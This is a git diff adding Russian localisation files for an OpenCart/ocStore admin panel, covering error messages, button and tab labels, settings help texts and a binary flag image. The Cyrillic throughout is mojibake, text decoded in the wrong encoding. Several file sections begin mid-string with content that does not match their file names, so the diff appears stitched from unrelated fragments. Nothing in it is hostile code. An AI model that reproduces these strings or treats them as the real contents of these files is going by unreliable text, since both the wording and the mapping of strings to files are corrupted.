+$_['error_limit'] = 'Укажите количеÑтво Ñимволов в кратком опиÑании товара Ð´Ð»Ñ Ñ€ÐµÐ¶Ð¸Ð¼Ð° ÑпиÑок!';
+$_['error_image_thumb'] = 'Укажите размер миниатюр!';
+$_['error_image_popup'] = 'Укажите размер вÑплывающих изображений товара!';
+$_['error_image_product'] = 'Укажите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð¾Ð²!';
+$_['error_image_category'] = 'Укажите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹!';
+$_['error_image_additional'] = 'Укажите размер дополнительных изображений товара!';
+$_['error_image_related'] = 'Укажите размер изображений Ð´Ð»Ñ Ñ€ÐµÐºÐ¾Ð¼ÐµÐ½Ð´ÑƒÐµÐ¼Ñ‹Ñ… (похожих) товаров!';
+$_['error_image_compare'] = 'Укажите размер изображений товара Ð´Ð»Ñ ÑпиÑка Ñравнений!';
+$_['error_image_wishlist'] = 'Укажите размер изображений товара Ð´Ð»Ñ Ð·Ð°ÐºÐ»Ð°Ð´Ð¾Ðº!';
+$_['error_image_cart'] = 'Укажите размер изображений товара Ð´Ð»Ñ ÐºÐ¾Ñ€Ð·Ð¸Ð½Ñ‹!';
+$_['error_image_location'] = 'Укажите размер изображений магазина!';
diff --git a/public/admin/language/ru-ru/extension/theme/theme_default.php b/public/admin/language/ru-ru/extension/theme/theme_default.php
new file mode 100644
index 0000000..ac86e41
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/theme/theme_default.php
@@ -0,0 +1,48 @@
+Ð¤Ð°Ð¼Ð¸Ð»Ð¸Ñ = {lastname}
ÐšÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ = {company}
ÐÐ´Ñ€ÐµÑ 1 = {address_1}
ÐÐ´Ñ€ÐµÑ 2 = {address_2}
Город = {city}
Ð˜Ð½Ð´ÐµÐºÑ = {postcode}
Регион = {zone}
Код региона = {zone_code}
Страна = {country}';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 128 Ñимволов!';
+$_['error_default'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ ÐºÐ°Ðº Ñтрана по умолчанию Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°!';
+$_['error_store'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s магазинах!';
+$_['error_address'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s адреÑах!';
+$_['error_affiliate'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ %s партнерами!';
+$_['error_zone'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s зонах!';
+$_['error_zone_to_geo_zone'] = 'Ðту Ñтрану Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s географичеÑких зонах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/localisation/currency.php b/public/admin/language/ru-ru/localisation/currency.php
new file mode 100644
index 0000000..b523db1
--- /dev/null
+++ b/public/admin/language/ru-ru/localisation/currency.php
@@ -0,0 +1,41 @@
+тут.';
+
+// Column
+$_['column_title'] = 'Ðазвание валюты';
+$_['column_code'] = 'Код';
+$_['column_value'] = 'Значение';
+$_['column_date_modified'] = 'Дата обновлениÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
+$_['entry_title'] = 'Ðазвание валюты';
+$_['entry_code'] = 'Код';
+$_['entry_value'] = 'Значение';
+$_['entry_symbol_left'] = 'Символ Ñлева';
+$_['entry_symbol_right'] = 'Символ Ñправа';
+$_['entry_decimal_place'] = 'КоличеÑтво знаков поÑле запÑтой';
+$_['entry_status'] = 'СтатуÑ';
+
+// Help
+$_['help_code'] = 'Ðе изменÑйте, еÑли Ñто ваша валюта по умолчанию.';
+$_['help_value'] = 'УÑтановите 1.00000 еÑли Ñто валюта по умолчанию.';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_title'] = 'Ðазвание должно Ñодержать от 3 до 32 Ñимволов!';
+$_['error_code'] = 'Код валюты должен ÑоÑтоÑть из 3 Ñимволов!';
+$_['error_default'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð¿Ð¾ умолчанию!';
+$_['error_store'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s магазинах!';
+$_['error_order'] = 'Ðту Валюту Ð½ÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ, поÑкольку она иÑпользуетÑÑ Ð² %s заказах!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/localisation/geo_zone.php b/public/admin/language/ru-ru/localisation/geo_zone.php
new file mode 100644
index 0000000..025bf57
--- /dev/null
+++ b/public/admin/language/ru-ru/localisation/geo_zone.php
@@ -0,0 +1,29 @@
+%s, затем перейдите в магазин по ÑÑылке ниже и закажите товары, которые Вам понравÑÑ‚ÑÑ. Ð’Ñ‹ можете ввеÑти код подарочного Ñертификата на Ñтранице проÑмотра корзины перед тем как начнете оформление заказа.';
+$_['text_footer'] = 'ЕÑли у Ð’Ð°Ñ ÐµÑть какие-либо вопроÑÑ‹, ответьте на Ñто Ñообщение.';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/marketing/affiliate.php b/public/admin/language/ru-ru/marketing/affiliate.php
new file mode 100644
index 0000000..2e063ed
--- /dev/null
+++ b/public/admin/language/ru-ru/marketing/affiliate.php
@@ -0,0 +1,90 @@
+тут.';
+
+// Entry
+$_['entry_username'] = 'Логин';
+$_['entry_secret'] = 'Ключ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_username'] = 'Ðеобходим логин!';
+$_['error_secret'] = 'Ðеобходим ключ!';
diff --git a/public/admin/language/ru-ru/marketplace/event.php b/public/admin/language/ru-ru/marketplace/event.php
new file mode 100644
index 0000000..9df4216
--- /dev/null
+++ b/public/admin/language/ru-ru/marketplace/event.php
@@ -0,0 +1,23 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mkdir'] = 'PHP function "mkdir" is disabled, contact your host';
+$_['error_openssl_encrypt'] = 'PHP function "openssl_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_openssl_decrypt'] = 'PHP function "openssl_decrypt" is not enabled. Contact your hosting provider.';
+$_['error_fopen'] = 'PHP function "fopen" is not enabled. Contact your hosting provider.';
+$_['error_url_fopen'] = '"allow_url_fopen" directive is disabled by your host - you will be unable to import images when importing products from eBay';
+$_['error_curl'] = 'PHP library "CURL" is not enabled. Contact your hosting provider.';
+$_['error_zip'] = 'ZIP extension needs to be loaded. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+
+// Help
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
+$_['help_beta'] = 'Caution! The beta version is the latest development version. It may not be stable and could contain bugs.';
diff --git a/public/admin/language/ru-ru/report/online.php b/public/admin/language/ru-ru/report/online.php
new file mode 100644
index 0000000..5d7f114
--- /dev/null
+++ b/public/admin/language/ru-ru/report/online.php
@@ -0,0 +1,30 @@
+(По умолчанию)';
+$_['text_close'] = 'Закрыть';
+$_['text_pagination'] = 'Показано Ñ %d по %d из %d (вÑего %d Ñтраниц)';
+$_['text_loading'] = 'Загрузка...';
+$_['text_no_results'] = 'Ðет данных!';
+$_['text_confirm'] = 'Вы уверены?';
+$_['text_home'] = 'ГлавнаÑ';
+
+// Button
+$_['button_add'] = 'Добавить';
+$_['button_delete'] = 'Удалить';
+$_['button_save'] = 'Сохранить';
+$_['button_cancel'] = 'Отмена';
+$_['button_cancel_recurring'] = 'Отменить профиль';
+$_['button_continue'] = 'Продолжить';
+$_['button_clear'] = 'ОчиÑтить';
+$_['button_close'] = 'Закрыть';
+$_['button_enable'] = 'Включить';
+$_['button_disable'] = 'Выключить';
+$_['button_filter'] = 'Фильтр';
+$_['button_send'] = 'Отправить';
+$_['button_edit'] = 'Редактировать';
+$_['button_shop'] = 'ПоÑмотреть';
+$_['button_copy'] = 'Копировать';
+$_['button_back'] = 'Ðазад';
+$_['button_remove'] = 'Удалить';
+$_['button_refresh'] = 'Обновить';
+$_['button_export'] = 'ÐкÑпорт';
+$_['button_import'] = 'Импорт';
+$_['button_download'] = 'Скачать';
+$_['button_rebuild'] = 'ИÑправить';
+$_['button_upload'] = 'Загрузить';
+$_['button_submit'] = 'Сохранить';
+$_['button_invoice_print'] = 'Показать Ñчет';
+$_['button_shipping_print'] = 'РаÑпечатать ÑпиÑок доÑтавки';
+$_['button_address_add'] = 'Добавить адреÑ';
+$_['button_attribute_add'] = 'Добавить характериÑтику';
+$_['button_banner_add'] = 'Добавить баннер';
+$_['button_custom_field_value_add'] = 'Добавить пользовательÑкое поле';
+$_['button_product_add'] = 'Добавить товар';
+$_['button_filter_add'] = 'Добавить фильтр';
+$_['button_option_add'] = 'Добавить опцию';
+$_['button_option_value_add'] = 'Добавить значение опции';
+$_['button_recurring_add'] = 'Добавить регулÑрный платеж';
+$_['button_discount_add'] = 'Добавить Ñкидку';
+$_['button_special_add'] = 'Добавить акцию';
+$_['button_image_add'] = 'Добавить изображение';
+$_['button_geo_zone_add'] = 'Добавить географичеÑкую зону';
+$_['button_history_add'] = 'Добавить иÑторию';
+$_['button_transaction_add'] = 'Добавить операцию';
+$_['button_route_add'] = 'Добавить путь';
+$_['button_rule_add'] = 'Добавить правило';
+$_['button_module_add'] = 'Добавить модуль';
+$_['button_link_add'] = 'Добавить ÑÑылку';
+$_['button_approve'] = 'Одобрить';
+$_['button_reset'] = 'СброÑить';
+$_['button_generate'] = 'Генерировать';
+$_['button_voucher_add'] = 'Добавить подарочный Ñертификат';
+$_['button_reward_add'] = 'Добавить бонуÑные баллы';
+$_['button_reward_remove'] = 'Удалить бонуÑные баллы';
+$_['button_commission_add'] = 'Добавить комиÑÑию';
+$_['button_commission_remove'] = 'Удалить комиÑÑию';
+$_['button_credit_add'] = 'Добавить кредит';
+$_['button_credit_remove'] = 'Удалить кредит';
+$_['button_ip_add'] = 'Добавить IP';
+$_['button_parent'] = 'на уровень вверх';
+$_['button_folder'] = 'ÐÐ¾Ð²Ð°Ñ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ';
+$_['button_search'] = 'ПоиÑк';
+$_['button_view'] = 'ПроÑмотр';
+$_['button_install'] = 'Ðктивировать';
+$_['button_uninstall'] = 'Деактивировать';
+$_['button_login'] = 'Вход в магазин';
+$_['button_unlock'] = 'Разблокировать Ñчет';
+$_['button_link'] = 'СÑылка';
+$_['button_currency'] = 'Обновить курÑÑ‹ валют';
+$_['button_apply'] = 'Применить';
+$_['button_category_add'] = 'Добавить категорию';
+$_['button_enable'] = 'Включить';
+$_['button_disable'] = 'Отключить';
+
+// Tab
+$_['tab_affiliate'] = 'Филиал';
+$_['tab_address'] = 'ÐдреÑ';
+$_['tab_additional'] = 'Дополнительные';
+$_['tab_admin'] = 'ÐдминиÑтратор';
+$_['tab_attribute'] = 'ХарактериÑтики';
+$_['tab_customer'] = 'Покупатель';
+$_['tab_comment'] = 'Комментарий';
+$_['tab_data'] = 'Данные';
+$_['tab_description'] = 'ОпиÑание';
+$_['tab_design'] = 'Дизайн';
+$_['tab_discount'] = 'Скидка';
+$_['tab_general'] = 'Общие';
+$_['tab_history'] = 'ИÑториÑ';
+$_['tab_ftp'] = 'FTP';
+$_['tab_ip'] = 'IP адреÑ';
+$_['tab_links'] = 'СвÑзи';
+$_['tab_log'] = 'Лог';
+$_['tab_image'] = 'ИзображениÑ';
+$_['tab_option'] = 'Опции';
+$_['tab_server'] = 'Сервер';
+$_['tab_seopro'] = 'SeoPro';
+$_['tab_seo'] = 'SEO';
+$_['tab_store'] = 'Магазин';
+$_['tab_special'] = 'Ðкции';
+$_['tab_session'] = 'СеÑÑиÑ';
+$_['tab_local'] = 'ЛокализациÑ';
+$_['tab_mail'] = 'Почта';
+$_['tab_module'] = 'Модуль';
+$_['tab_payment'] = 'Детали оплаты';
+$_['tab_product'] = 'Товары';
+$_['tab_reward'] = 'БонуÑные баллы';
+$_['tab_shipping'] = 'Детали доÑтавки';
+$_['tab_total'] = 'Итоги';
+$_['tab_transaction'] = 'Операции';
+$_['tab_voucher'] = 'Подарочные Ñертификаты';
+$_['tab_sale'] = 'Продажи';
+$_['tab_marketing'] = 'Маркетинг';
+$_['tab_online'] = 'Покупатели онлайн';
+$_['tab_activity'] = 'ПоÑледнÑÑ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾Ñть';
+$_['tab_recurring'] = 'РегулÑрные платежи';
+$_['tab_action'] = 'ДейÑтвие';
+$_['tab_google'] = 'Google';
+$_['tab_sms'] = 'SMS';
+$_['tab_extra_tab'] = 'Доп Таб';
+$_['tab_module'] = 'Таб';
+$_['tab_related'] = 'Рекомендуем';
+
+// Error
+$_['error_exception'] = 'Ошибка кода(%s): %s в %s на Ñтроке %s';
+$_['error_upload_1'] = 'Размер загружаемого файла превышает значение upload_max_filesize в php.ini!';
+$_['error_upload_2'] = 'Загруженный файл превышает MAX_FILE_SIZE значение, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±Ñ‹Ð»Ð° указана в наÑтройках!';
+$_['error_upload_3'] = 'Загруженные файлы были загружены лишь чаÑтично!';
+$_['error_upload_4'] = 'Ðет файлов Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸!';
+$_['error_upload_6'] = 'Ðе найдены во временной папке!';
+$_['error_upload_7'] = 'Ошибка запиÑи!';
+$_['error_upload_8'] = 'Запрещено загружать файлы данного типа!';
+$_['error_upload_999'] = 'ÐеизвеÑÑ‚Ð½Ð°Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ°!';
+
+$_['summernote'] = 'ru-RU';
+$_['datepicker'] = 'ru';
diff --git a/public/admin/language/ru-ru/ru-ru.png b/public/admin/language/ru-ru/ru-ru.png
new file mode 100644
index 0000000000000000000000000000000000000000..47da4214fd9edb383687c1d4f84fe8b42a51ceb2
GIT binary patch
literal 420
zcmV;V0bBlwP)X|NRSO0LlM<{-BURBqYRGSojej
zfLOL~|EH_V_~;P>Nc10*D0|Jxss<
zFi1)Q<$$6LU}rIc*dU*QNFV}+9T))>0|XG`SD?F)5CbX~O$rDA0t^5@iDe$xIAIn5
O0000заказа!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/sale/voucher_theme.php b/public/admin/language/ru-ru/sale/voucher_theme.php
new file mode 100644
index 0000000..019b90a
--- /dev/null
+++ b/public/admin/language/ru-ru/sale/voucher_theme.php
@@ -0,0 +1,27 @@
+Подробнее';
+$_['entry_add_prevnext'] = 'ВывеÑти prev, next теги Ð´Ð»Ñ Ð¿Ð°Ð³Ð¸Ð½Ð°Ñ†Ð¸Ð¸';
+$_['entry_add_prevnext_help'] = 'Работает только при включенном ÑпоÑобе вывода тегов - ocStore решение';
+$_['entry_canonical_self'] = 'Выводить тег canonical на оÑновную Ñтраницу';
+$_['entry_canonical_self_help'] = 'Работает только при включенном ÑпоÑобе вывода тегов - ocStore решение';
+$_['entry_canonical_method_help'] = 'Выберите ÑпоÑоб ÑоглаÑно которого будет формироватьÑÑ Ð²Ñ‹Ð²Ð¾Ð´ тегов canonical, prev, next';
+$_['entry_noindex_status'] = 'ИÑпользовать noindex Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹, производителей, товаров, Ñтатей и Ñ‚ д';
+$_['entry_noindex_disallow_params'] = 'Игнорировать noindex Ð´Ð»Ñ Ñтраниц Ñ get параметрами:';
+
+// Help
+$_['help_geocode'] = 'ПожалуйÑта, укажите geocode раÑположение вашего магазина.';
+$_['help_open'] = 'Заполните Ð²Ñ€ÐµÐ¼Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ магазина.';
+$_['help_comment'] = 'Ðто поле Ð´Ð»Ñ Ð»ÑŽÐ±Ñ‹Ñ… Ñпециальных пометок, которые вы хотели Ñообщить покупателю, например: что магазин не принимает чеки.';
+$_['help_location'] = 'МеÑÑ‚Ð¾Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð², которые вы хотите отображать на Ñтранице Ñ Ñ„Ð¾Ñ€Ð¼Ð¾Ð¹ обратной ÑвÑзи.';
+$_['help_currency'] = 'Измение валюты по умолчанию. Ðеобходимо очиÑтить кÑш браузера и ÑброÑить cookie, чтобы увидеть изменениÑ.';
+$_['help_currency_auto'] = 'Задать ежедневное автоматичеÑкое обновление валют.';
+$_['help_product_limit'] = 'КоличеÑтво отображаемых на Ñтранице Ñлементов (товары, категории и Ñ‚.п.)';
+$_['help_product_description_length'] = 'КоличеÑтво Ñимволов краткого опиÑаниÑ, (категории, Ñпециальные и Ñ‚.д.).';
+$_['help_limit_admin'] = 'КоличеÑтво отображаемых на Ñтранице Ñлементов (товары, категории, заказы, покупатели и Ñ‚.п.)';
+$_['help_limit_autocomplete'] = 'КоличеÑтво отображаемых Ñлементов при поиÑке Ñ Ð°Ð²Ñ‚Ð¾Ð´Ð¾Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸ÐµÐ¼ (атрибуты, опции, фильтры...) ДЛЯ ÐДМИÐИСТРÐТОРÐ';
+$_['help_product_count'] = 'Показывать количеÑтво товаров в категории. Включение Ñтой опции может привеÑти к увеличению времени загрузки Ñтраниц Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð¾Ð² Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ð¼ количеÑтвом товаров!';
+$_['help_review'] = 'Включает/выключает добавление новых отзывов и отображение ÑущеÑтвующих.';
+$_['help_review_guest'] = 'Разрешить гоÑÑ‚Ñм оÑтавлÑть отзывы.';
+$_['help_review_mail'] = 'Отправить E-Mail владельцу магазина при Ñоздании нового отзыва.';
+$_['help_voucher_min'] = 'Минимальный номинал Ð´Ð»Ñ Ð¿Ð¾Ð´Ð°Ñ€Ð¾Ñ‡Ð½Ð¾Ð³Ð¾ Ñертификата (Ð½ÐµÐ»ÑŒÐ·Ñ ÐºÑƒÐ¿Ð¸Ñ‚ÑŒ Ñертификат на меньшую Ñумму).';
+$_['help_voucher_max'] = 'МакÑимальный номинал Ñуммы подарочного Ñертификата (Ð½ÐµÐ»ÑŒÐ·Ñ ÐºÑƒÐ¿Ð¸Ñ‚ÑŒ Ñертификат на Ñумму больше)';
+$_['help_tax_default'] = 'ЕÑли пользователь не залогинен, иÑпользовать Ð°Ð´Ñ€ÐµÑ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° Ð´Ð»Ñ Ð²Ñ‹Ñ‡Ð¸ÑÐ»ÐµÐ½Ð¸Ñ Ð½Ð°Ð»Ð¾Ð³Ð¾Ð². Ð’Ñ‹ можете выбрать иÑпользование адреÑа магазина либо в качеÑтве адреÑа доÑтавки, либо платежного адреÑа покупателÑ.';
+$_['help_tax_customer'] = 'Ð”Ð»Ñ Ð¿Ð¾Ð´Ñчёта налогов надо знать адреÑ. Ð’Ñ‹ можете выбрать иÑпользование выбранного по умолчанию адреÑа Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð°Ð´Ñ€ÐµÑа доÑтавки или платежа покупателÑ.';
+$_['help_customer_online'] = 'ОтÑлеживать онлайн-поÑетителей через Ñекцию отчетов о поÑетителÑÑ….';
+$_['help_customer_activity'] = 'ОтÑлеживать активноÑть покупателей Ð´Ð»Ñ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð¾Ð².';
+$_['help_customer_group'] = 'Группа покупателей по умолчанию.';
+$_['help_customer_group_display'] = 'Отображать группы Ð´Ð»Ñ Ð½Ð¾Ð²Ñ‹Ñ… покупателей которые доÑтупны Ð´Ð»Ñ Ð²Ñ‹Ð±Ñ€Ð° при региÑтрации в качеÑтве оптовиков или юридичеÑких лиц.';
+$_['help_customer_price'] = 'Показывать цены только зарегиÑтрированнным покупателÑм.';
+$_['help_login_attempts'] = 'МакÑимальное чиÑло попыток авторизации перед блокировкой на 1 чаÑ. ПользовательÑкие и партнерÑкие аккаунты возможно разблокировать вручную в ÑоответÑтвующих разделах.';
+$_['help_account'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при региÑтрации аккаунта.';
+$_['help_account_mail'] = 'ОповеÑтить владельца магазина о региÑтрации нового покупателÑ.';
+$_['help_invoice_prefix'] = 'УÑтановите Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ Ñчета-фактуры. Пример: INV-2011-00';
+$_['help_cart_weight'] = 'Показывает Ð²ÐµÑ Ð·Ð°ÐºÐ°Ð·Ð°Ð½Ð½Ñ‹Ñ… товаров на Ñтранице корзины.';
+$_['help_checkout_guest'] = 'Позволить покупателÑм оформлÑть заказы без региÑтрации Личного кабинета. Ðта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð½Ðµ будет доÑтупна, еÑли в корзине будут загружаемые в виде файла товары.';
+$_['help_checkout'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при оформлении заказа.';
+$_['help_order_status'] = 'Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° по умолчанию.';
+$_['help_processing_status'] = 'УÑтановите ÑÑ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° покупателÑ, которого заказ должен доÑтигнуть, прежде чем на Ñкладе будет Ñокращено наличие и у Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð±ÑƒÐ´ÑƒÑ‚ применены бонуÑÑ‹ и Ñкидки по купону.';
+$_['help_complete_status'] = 'ПоÑле уÑтановки Ñтого ÑтатуÑа заказу, пользователю будет отправлен E-Mail Ñ Ð´Ð¾Ñтупом к загружаемым товарам и подарочные Ñертификаты.';
+$_['help_fraud_status'] = 'Ðтот ÑÑ‚Ð°Ñ‚ÑƒÑ Ð·Ð°ÐºÐ°Ð·Ð° иÑпользуетÑÑ, когда клиент подозреваетÑÑ Ð² попытке изменить платежные реквизиты заказа или иÑпользовать купон, подарочный ваучер, баллы, которые уже были иÑпользованы.';
+$_['help_order_mail'] = 'Отправить E-Mail владельцу магазина при получении нового заказа.';
+$_['help_api'] = 'По умолчанию Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ API админиÑтратором Ñледует иÑпользовать.';
+$_['help_stock_display'] = 'Показывать оÑтаток товаров на Ñкладе на Ñтранице товара.';
+$_['help_stock_warning'] = 'Предупреждать на Ñтранице корзины о нехватке товара на Ñкладе, еÑли товар закончилÑÑ, но помечен, как имеющийÑÑ Ð² наличии на Ñкладе. (Предупреждение вÑегда показываетÑÑ, еÑли товара нет в наличии).';
+$_['help_stock_checkout'] = 'Разрешить покупателÑм оформлÑть заказ, еÑли заказываемых товаров на данный момент нет на Ñкладе.';
+$_['help_affiliate_approval'] = 'ÐвтоматичеÑкое подтверждение новых зарегиÑтрировавшихÑÑ Ð¿Ð°Ñ€Ñ‚Ð½ÐµÑ€Ð¾Ð².';
+$_['help_affiliate_auto'] = 'ÐвтоматичеÑкое начиÑление комиÑÑии партнеру по завершению Ñделки.';
+$_['help_affiliate_commission'] = 'Процент комиÑÑии партнера по умолчанию.';
+$_['help_affiliate'] = 'Требовать подтверждение ÑоглаÑÐ¸Ñ Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ при оформлении партнерÑкого аккаунта.';
+$_['help_affiliate_mail'] = 'УведомлÑть на E-Mail владельца магазина о региÑтрации нового партнера.';
+$_['help_return'] = 'Требовать принÑÑ‚Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð» и уÑловий перед оформлением возврата.';
+$_['help_return_status'] = 'Ðтот ÑÑ‚Ð°Ñ‚ÑƒÑ Ð±ÑƒÐ´ÐµÑ‚ приÑвоен заказу поÑле Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ð¸ возврата.';
+$_['help_captcha'] = 'Защитный код иÑпользовать Ð´Ð»Ñ Ñ€ÐµÐ³Ð¸Ñтрации, входа в ÑиÑтему, контакты и обзоры.';
+$_['help_icon'] = 'Иконка должна быть PNG размером 16px x 16px.';
+$_['help_ftp_root'] = 'Каталог, в который уÑтановлен OPENCART; обычно \'public_html/\'.';
+$_['help_mail_engine'] = 'МенÑйте «Почта», еÑли ваш хоÑтинг отключил функцию php mail.';
+$_['help_mail_protocol'] = 'Выбирайте Mail, и только в Ñлучае, когда Ñтот ÑпоÑоб не работает — SMTP.';
+$_['help_mail_parameter'] = 'ОСТОРОЖÐО. Ðе заполнÑйте поле, еÑли не знаете, Ð´Ð»Ñ Ñ‡ÐµÐ³Ð¾ оно. Когда иÑпользуетÑÑ Mail, здеÑÑŒ могут быть указаны дополнительные параметры Ð´Ð»Ñ sendmail (напр. -femail@storeaddress.com).';
+$_['help_mail_smtp_hostname'] = 'Добавьте \'tls://\' Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ ÐµÑли требуетÑÑ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ð½Ð¾Ðµ Ñоединение. (прим.: \'tls://smtp.gmail.com\').';
+$_['help_mail_alert'] = 'Выберите, дейÑÑ‚Ð²Ð¸Ñ Ð¾ которых вы хотите получать Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ñ Ð½Ð° E-Mail.';
+$_['help_mail_alert_email'] = 'Дополнительные E-Mail Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ð¹ на них. (разделитель — запÑтаÑ).';
+$_['help_secure'] = 'Ð”Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ SSL убедитеÑÑŒ что Ваш хоÑтинг поддерживает SSL Ñертификат и пропишите SSL адреÑа в файле конфигурации.';
+$_['help_shared'] = 'Помещает идентификатор ÑеÑÑии в URI, позволÑÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°Ñ‚ÑŒ одну ÑеÑÑию при переходах между разными доменами.';
+$_['help_robots'] = 'СпиÑок веб-роботов (их User Agents), Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… ÐЕ ÐÐДО иÑпользовать метод Shared Sessions. Каждый User Agent указываетÑÑ Ð² новой Ñтроке.';
+$_['help_seo_url'] = 'Ðеобходимо наÑтроить файл .htaccess в корневом каталоге магазина (переименуйте .htaccess.тхт в .htaccess)';
